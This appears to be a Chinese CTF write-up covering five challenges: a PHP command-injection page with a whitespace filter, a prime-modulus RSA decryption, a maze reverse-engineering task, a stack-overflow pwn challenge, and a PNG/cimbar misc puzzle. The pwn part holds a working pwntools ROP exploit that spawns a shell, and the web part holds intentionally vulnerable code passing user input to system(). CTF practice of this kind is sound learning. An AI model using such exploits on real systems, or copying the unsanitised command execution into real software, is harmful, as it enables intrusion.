2.9学习记录

embedded/2025/2/5 18:28:07/

web

RCEisamazingwithspace

读题目就知道可能跟空格绕过有关
题目:

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {echo 'Space not allowed in command';exit;
}// execute the command
system($cmd);

本以为有很多黑名单,没想到只用绕空格进行post传参即可在这里插入图片描述

crypto

babyrsa

题目:

from Crypto.Util.number import *flag=b'BaseCTF{}'
m=bytes_to_long(flag)n=getPrime(1024)
e=65537
c=pow(m,e,n)print("n =",n)
print("e =",e)
print("c =",c)
"""
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
"""

n,e,c都给了,直接套用脚本
exp:

from Crypto.Util.number import *
import gmpy2
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832phin = n-1
d = gmpy2.invert(e, phin)
m = pow(c, d, n)
print(long_to_bytes(m))

re

ez_maze

读题目就可以知道这是一道迷宫题
拿到附件先查壳在这里插入图片描述没壳的64位文件,用ida查看找主调函数

int __fastcall main(int argc, const char **argv, const char **envp)
{int v3; // eaxchar v5[32]; // [rsp+20h] [rbp-60h] BYREF__int16 v6; // [rsp+40h] [rbp-40h]char v7; // [rsp+42h] [rbp-3Eh]int i; // [rsp+48h] [rbp-38h]int v9; // [rsp+4Ch] [rbp-34h]sub_401840(argc, argv, envp);j_puts(Buffer);j_puts(aTakeTheShortes);j_puts(aShowYourTime);memset(v5, 0, sizeof(v5));v6 = 0;v7 = 0;j_scanf("%34s", v5);v9 = 0;for ( i = 0; v5[i]; ++i ){v3 = (unsigned __int8)v5[i];if ( v3 == 100 ){if ( v9 % 15 == 14 )goto LABEL_20;++v9;}else if ( (unsigned __int8)v5[i] > 0x64u ){if ( v3 == 115 ){if ( v9 > 209 )goto LABEL_20;v9 += 15;}else{if ( v3 != 119 ){
LABEL_21:j_puts(aInvalidInput);return -1;}if ( v9 <= 14 )goto LABEL_20;v9 -= 15;}}else{if ( v3 != 97 )goto LABEL_21;if ( !(v9 % 15) ){
LABEL_20:j_puts(aInvalidMoveOut);return -1;}--v9;}if ( asc_403020[v9] == 36 ){j_puts(aInvalidMoveHit);return -1;}if ( asc_403020[v9] == 121 ){j_puts(aYouWin);j_puts(aPlzBasectfLowe);return 0;}}j_puts(aYouDidnTReachT);return 0;

首先可以看出,这里调用了指针模块,结合题目maze可以推断出这是一个迷宫问题,接着看v3的赋值,很明显这里是根据v3传入的参数执行命令,但题目中的v3都是给了数字,就很容易联想到ASCII码表,去查了一下果然是wasd在这里插入图片描述同时也从上面的代码看出迷宫起点是x终点是y,接下来在分析迷宫的大小,可以看出按下s键的时候向右移动了15格,说明迷宫的行宽是15,接下来只需要确定迷宫和规则就可以了在这里插入图片描述在主调函数里找到了在这里插入图片描述路径就是flag,手搓一下在这里插入图片描述走出来是sssssssddddwwwddsssssssdddsssddddd,用md5加密一下即可

pwn

我把她丢了

拿到附件先看一下在这里插入图片描述没有保护的64位elf文件,放到ida看一下,找到主调函数,发现在read处存在栈溢出
在这里插入图片描述发现后门函数和地址在这里插入图片描述
因为是64位文件,需要寄存器,寄存器地址:
在这里插入图片描述

exp:

from pwn import *
io=process('./pwn')
io=remote("gz.imxbt.cn",20389)
elf=ELF('./pwn')
pop_rdi=0x401196
binsh=0x402008
ret=0x40101a
shell=elf.plt['system']
payload=b'a'*(0x70+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(shell)
io.recv()
io.sendline(payload)
io.interactive()

misc

ezpng

得到附件,有一张图片和一个文档,图片先用010看一下在这里插入图片描述发现文件头损坏,接着看一下文档的内容在这里插入图片描述很神奇地出现了中文,根据提示去搜了一下cimbar在这里插入图片描述这里选择用工具解决在这里插入图片描述就可以得到flag了


http://www.ppmy.cn/embedded/159817.html

相关文章

AMD架构简单读书笔记1

目录 前言 关于AMD架构 AMD64 Features 概述 寄存器 指令集 媒体指令 浮点指令 前言 笔者打算简单的记录一下自己读AMD手册架构的书。笔者先前还记录了自己RISC-V手册的阅读笔记&#xff0c;RISC-V读书笔记-CSDN博客。感兴趣的朋友可以简单的翻阅一二。 AMD的所有技术…

(2024 MSSP) Self-paced-decentralized-federated-transfer-framewor

&#x1f4da; 研究背景与挑战 目前&#xff0c;故障诊断方法主要分为两类&#xff1a;基于信号处理的传统方法和基于人工智能的智能诊断方法。后者由于能够快速处理大量数据&#xff0c;逐渐成为主流。现有方法在跨域故障诊断中面临两大挑战&#xff1a;一是不同设备或工况下…

安卓(android)饭堂广播【Android移动开发基础案例教程(第2版)黑马程序员】

一、实验目的&#xff08;如果代码有错漏&#xff0c;可查看源码&#xff09; 1.熟悉广播机制的实现流程。 2.掌握广播接收者的创建方式。 3.掌握广播的类型以及自定义官博的创建。 二、实验条件 熟悉广播机制、广播接收者的概念、广播接收者的创建方式、自定广播实现方式以及有…

【基于SprintBoot+Mybatis+Mysql】电脑商城项目之用户登录

&#x1f9f8;安清h&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;【Spring篇】【计算机网络】【Mybatis篇】 &#x1f6a6;作者简介&#xff1a;一个有趣爱睡觉的intp&#xff0c;期待和更多人分享自己所学知识的真诚大学生。 目录 &#x1f3af;1.登录-持久层 &…

蓝桥杯思维训练营(二)

文章目录 题目总览题目详解小S按按钮小R排数字 牛客小白月赛108 小S按按钮 小R排数字 题目总览 题目详解 小S按按钮 思路分析&#xff1a;正常处理即可&#xff0c;但是对于x0的情况要特别处理&#xff0c;是奇数次的时候可以解决 import math T int(input()) for _ in ra…

CSS in JS

css in js css in js 的核心思想是&#xff1a;用一个 JS 对象来描述样式&#xff0c;而不是 css 样式表。 例如下面的对象就是一个用于描述样式的对象&#xff1a; const styles {backgroundColor: "#f40",color: "#fff",width: "400px",he…

第五章 Linux网络编程基础API

在网络编程中&#xff0c;“网络字节序”&#xff08;Network Byte Order&#xff09;指的是一种统一的字节排列方式&#xff0c;即大端字节序&#xff08;Big-Endian&#xff09;&#xff0c;用于在网络上传输数据。这样做的目的是确保不同主机之间&#xff08;可能采用不同的…

MR-GDINO: Efficient Open-World Continual Object Detection—— 高效开放世界持续目标检测

这篇文章提出了一种名为MR-GDINO的开放世界持续目标检测方法&#xff0c;旨在解决开放世界检测器在持续学习过程中对已见类别和未见类别的灾难性遗忘问题。文章的主要内容和贡献如下&#xff1a; 问题定义&#xff1a;提出了开放世界持续目标检测任务&#xff0c;要求检测器在持…